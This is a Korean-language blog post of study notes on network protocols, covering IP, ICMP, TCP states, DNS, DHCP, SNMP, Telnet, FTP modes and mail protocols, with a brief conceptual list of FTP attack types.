5) ID : 식별자, 단편화된 IP 패킷을 재조립할 때 사요ㅗㅇ

6) IP플래그

- x : 미사용, 항상 0

- D : Don't frag, 0(단편화 가능), 1(단편화 불가능)

- M : More frag, 0(마지막 조각을 의미), 1(뒤에 더 올것이 있음을 의미)

7) Fragmentation Offset : 순서 번호, 몇번까지 받았다를 의미

ex) 3080

0 - 1479

1480 - 2959

2960 - 3079

- ID, IP플래그, FragOffset 이 3개는 재배열과 관련된 필드

8) TTL : OS마다 값이 다름, 패킷의 수명, 라우터 지날때마다 소모

9) protocol : 프로토콜의 종류 알려줌

- 1 : ICMP

- 2 : IGMP

- 4 : IP

- 6 : TCP

- 17 : UDP

- ....

10) 체크섬 : 헤더에 대한 오류검출을 한다.

11) SIP : 송신측 IP주소

12) DIP : 수신측 IP주소

 

7. ICMP

 

- 목적 : IP는 목적지에 대한 확인을 하지 않는다. 보증하기 위해 사용

- 정상 종작의 예

1) 8번이 가면 0번이 응답해야함 / 둘다 코드는 0 이어야함

- traceroute (tracert)

1) 경로 추적

2) windows 환경에서는 # pathping [ip] 가 유용

3) TTL 값을 1부터 증가 시키면서 응답을 받고 다시 TTL값을 1씩 증가 시키며 목적지 보내여 경로를 확인하는 방식

 

8. IGMP

- IP 멀티캐스트 그룹에서 호스트 맴버를 관리하는 프로토콜

- 유로 TV, 인터넷 방송 은 특정 그룹 관리하는 방식으로 운용

 

9. TCP

- 신뢰할 수 있고, 연결 지향의 전달 서비스

- 세그먼트 단위로 전송

- 특징

1) 신뢰성, 전이중 방식, 연결지향, 바이트스트림, 흐름제어, 세션관리

2) 핸드쉐이킹

- 헤더 구조

1) SP : 송신측 포트번호, 4계층에서 사용

2) DP : 수신측 포트번호

3) 시퀀스 넘버 : 자신이 전송하는 데이터의 고유번호, 순서제어를 하기 때문에 신뢰성

4) ACK 넘버 : 송신측으로부터 받은 데이터의 응답번호(받은 순차번호 1을 더해서 보낸다)

5) Offset(헤더길이) : 헤더의 길이

6) Reserved(예약)

7) TCP 플래그

- C, E안씀

- U : 응급, 긴급 시 사용

- A : 확인 응답 번호

- P : 넣다. 보내고 있다

- R : 강제 종료, 비 정상종료

- S : TCP 연결을 위한 요청

- F : 정상 종료, 더이상 보낼 데이터 없음

- 종료할때에는 4번의 패킷을 주고 받음 : 4-way 핸드쉐이킹

8) Window : 윈도우 크기, 수신자 입장에서 자신의 가용 버퍼의 크기

9) 체크섬 : 오류 검출

10) Urgent Pointer : TCP 플래그의 URG 플래그가 설정되어있을 경우 사용

11) 옵션

- MSS(Maximum Segment Size)

① 목적지에서 수신가능한 최대 크기이다.

② MSS = MTU - TCP/IP헤더크기(40)

- MTU(Maximum Transmission Unit)

① 네트워크 인터페이스에서 세그먼트 없이 보낼수 있는 최대 데이터그램 크기 값

② 일반적으로 1500바이트

③ MTU = MSS + TCP/IP헤더크기

- TCP 연결 및 종료 과정

1) 연결 시 3-way, 종료 시 4-way

2) 연결 상태 변화

- Closed : 소켓을 사용하지 않은 상태

- Listen : 소켓 접속 대기 상태, 연결 기다림, 열려있음

- SYN SENT : 소켓 접속을 시도

- SYN RECVD : 접속 초기화 중

- ESTABLIESHED : 접속 상태, 연결됨

- FIN WAIT-1 : 접속 종료 중

- FIN WAIT-2 : 접속 종료 후 원격측으로부터 닫기 지시 대기중

- Closeing : 소켓을 종료되었으나 모든 데이터가 도착하지 않음

- TIME WAIT : 소켓은 종료되었으며 원격지로부터 닫기 지시가 재전송되기를 기다리는 상태, 클라측에서 연결 끊음

- CLOSE WAIT : 원격측이 닫혔으므로 소켓이 종료되는 것을 기다림

- LAST ACK : 원격측이 닫히고 소켓도 종료되고 있음, ACK기다림

 


 

4장. 서비스 프로토콜

 

1. DNS 서비스

- 도메인 이름을 IP주소로 매핑해주는 서비스

- # nslookup

- DNS 질의 과정

1) www.naver.com

2) 클라이언트에서 로컬DNS에게 물어본다.

3) 로컬DNS는 root에게 물어본다.

4) 다음은 com이름서버에 물어본다.

5) 다음은 naver이름서버에 물어본다.

6) 다 물어보고 받은 IP주소를 로컬DNS에서 클라이언트에게 알려준다.

7) 클라이언트는 받은 IP를 가지고 접속한다.

 

2. DHCP 서비스

- 호스트 IP 구성관리를 단순화하는 IP표준

- UDP 67, 68 사용

- 동작 과정

1) 발견(DISCOVER)단계 : DHCP서버를 찾아 IP요청을 위해 발견패킷 뿌림

2) 제안(OFFER)단계 : 발견패킷을 받은 서버는 임대가능 IP주소를 제안

3) 요청(REQUEST)단계 : IP제안받은 클라이언트는 가장 먼저 받은 서버에게 해당 주소에 대한 요청을 보냄, 다른 서버에게는 안보냄

4) 응답(ACK)단계 : 요청패킷을 받은 서버는 응답패킷을 발송하여 IP주소를 임대한다.

- DHCP 서버로 임대 받을때 DNS, NTP 같이 받음

- BOOTP

 

3. SNMP 서비스

- 네트워크 관리 프로토콜

- UDP 161 사용

- 시스템이나 네트워크 관리자로 하여금 원격으로 네트워크 장비를 모니터링하고 환경설정 등의 운영을 할 수 있게 한다.

- 구성 요소

1) MIB

2) 관리시스템(Manager)

3) 관리대상(Agent)

 

4. Telnet 서비스

- 클라이언트가 서버에 연결/구동된 것처럼 상호작용하도록 하는 서비스

- 할 수 있는것

1) 피요한 유닉스 명령어

2) 네트워크 사용

3) 각종 CGI 프로그램 사용

- # telnet [ip] [portnum]

- 전부 평문으로 보인다. 보안에 취약

- SSH는 암호화 되어 보인다.

 

5. FTP 서비스

- 파일을 업로드하고 다운로드 할 수 있도록 해주는 프로토콜

- 파일 교환

- 평문으로 보이는 단점

- 명령어와 응답이 오가는 Conmmand Port : 21

- 실제 데이터가 오가는 Data Port : 20

- Avtive Mode

1) 클라이언트에서 서버의 21번 포트로 접속 후 클라이언트가 사용할 두번째 포트를 서버에 알려준다.

2) 서버는 21번 포트에서 클라이언트에게 ACK로 응답

3) 서버의 20번 포트는 클라이언트가 알려준 두번째 포트로 접속을 시도한다.

4) 클라이언트의 두번째 포트에서 ACK로 응답

- Passive Mode

1) 클라이언트에서 서버의 21번 포트로 접속, 두번째 포트 질의

2) 서버는 21번 포트에서 서버가 사용할 두번째 포트를 알려준다.

3) 클라이언트는 새로운 포트는 열고 서버가 알려준 두번째 포트로 접속을 시도한다.

4) 서버의 두번째 포트(20아님, 1024이상의 새로운 포트)에서 ACK로 응답

- 공격 유형

1) bounce attack : 익명의 FTP서버를 이용해 경유해서 호스트를 스캔한다.

2) TFTP : UDP통신, 인증절차를 요구하지 않는다.

3) Anonymous FTP 공격 : 특정 디렉토리에 권한을 걸어서 아무나 접근 못하게 대책가능

4) 스니핑 : 평문으로 보이기 때문에 위험

5) Brute force : 무작위 대입법 공격

 

6. MAIL 프로토콜

- SMTP : 메일을 주고 받기 위한 프로토콜

- 포트번호 25 사용

- # telnet [ip] [25]   =>   접속   =>   SMTP 세부 명령으로 메일 전송 가능

- MIME : 단순 텍스트를 넘어 이미지, 오디오, 비디오, 어플, 멀티 파트 전송 가능

- POP3 : TCP 110, 메일 서버에서 메일 다운로드, 서버에서 해당 메일 지움, 오프라인에서도 볼 수 있음

- IMAP, IMAP3 : POP와 달리 메일을 받아도 서버에 원본 남아 있음, 서버에 계속 접속 필요

 

 

 

 

참고서적 : 원리를 중심으로 한 네트워크 개론 (INTEK)

posted by Red_Seek